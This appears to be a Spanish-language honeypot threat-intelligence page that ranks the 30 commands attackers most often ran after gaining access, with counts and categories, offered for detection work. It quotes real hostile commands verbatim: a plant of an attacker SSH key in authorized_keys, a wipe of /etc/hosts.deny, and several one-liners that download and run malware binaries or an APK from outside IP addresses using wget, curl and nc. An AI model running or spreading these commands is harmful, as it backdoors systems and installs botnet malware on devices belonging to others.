Comandos Ejecutados
Analisis en tiempo real de los comandos mas ejecutados por atacantes tras obtener acceso a sistemas. Datos recopilados de nuestra red global de honeypots en las ultimas 24 horas.
4,093 comandos en 24h
Top Comandos Ejecutados
1.
$
lockr -ia .ssh170 IPs204x
2.
$
cd ~; chattr -ia .ssh; lockr -ia .ssh170 IPs204x
3.
$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~167 IPs201x
4.
$
Enter new UNIX password:87 IPs192x
5.
$
uname -a156 IPs185x
6.
$
lscpu | grep Model149 IPs178x
7.
$
cat /proc/cpuinfo | grep model | grep name | wc -l149 IPs178x
8.
$
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'149 IPs178x
9.
$
uname -m149 IPs177x
10.
$
top148 IPs177x
11.
$
which ls148 IPs177x
12.
$
uname148 IPs177x
13.
$
ls -lh $(which ls)148 IPs177x
14.
$
w148 IPs177x
15.
$
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'148 IPs177x
16.
$
whoami148 IPs177x
17.
$
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'147 IPs176x
18.
$
crontab -l147 IPs175x
19.
$
cat /proc/cpuinfo | grep name | wc -l147 IPs174x
20.
$
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;73 IPs79x
21.
$
cd /data/local/tmp;mkdir .p 2>/dev/null;cd .p;(wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||busybox wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null||curl -so b http://196.251.107.133/bins/parm7 2>/dev/null||toybox wget -qO b http://196.251.107.133/bins/parm7 2>/dev/null);chmod 777 b 2>/dev/null;(su 0 ./b adb||./b adb) 2>/dev/null;rm -f b;(wget -qO b http://196.251.107.133/bins/parm5 2>/dev/null||busybox wget -qO b http://196.251.107.133/bins/parm5 2>/dev/null||curl -so b ht1 IPs56x
22.
$
/bin/./uname -s -v -n -r -m12 IPs39x
23.
$
echo hello4 IPs19x
24.
$
cd /data/local/tmp/; busybox wget http://176.65.139.11/wget.sh; sh wget.sh; curl http://176.65.139.11/wget.sh -o wget.sh; sh wget.sh; wget http://176.65.139.11/wget.sh; sh wget.sh1 IPs17x
25.
$
for dir in /data/local/tmp /tmp /sdcard /mnt/sdcard /storage/emulated/0 /data/cache /dev/shm; do cd $dir && (nc 94.156.152.67 8081 > flexoiu 2>/dev/null || nc -w 30 94.156.152.67 8081 > flexoiu 2>/dev/null) && chmod 777 flexoiu && ./flexoiu & done1 IPs13x
26.
$
cd /data/local/tmp && nc 94.156.152.67 8081 > app.apk && pm install -r app.apk && am start -n com.snowrider.game/.SnowRiderActivity && rm app.apk1 IPs9x
27.
$
cd /data/local/tmp && nc 94.156.152.67 8081 > flexoiu && chmod 777 flexoiu && ./flexoiu1 IPs8x
28.
$
curl21 IPs7x
29.
$
uname -s -v -n -r -m6 IPs7x
30.
$
cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps1 IPs7x
Reconocimiento
Comandos para obtener informacion del sistema (uname, whoami, cat /etc/passwd)
Descarga
Comandos para descargar malware (wget, curl, tftp)
Persistencia
Comandos para mantener acceso (crontab, chmod, chattr)
Movimiento Lateral
Comandos para expandirse en la red (ssh, scp, ping)
Acerca de estos datos
Estos comandos son capturados en tiempo real cuando atacantes obtienen acceso a nuestros honeypots. Representan las tecnicas reales utilizadas en ataques automatizados y manuales. Utiliza esta informacion para mejorar tu deteccion de amenazas y respuesta a incidentes.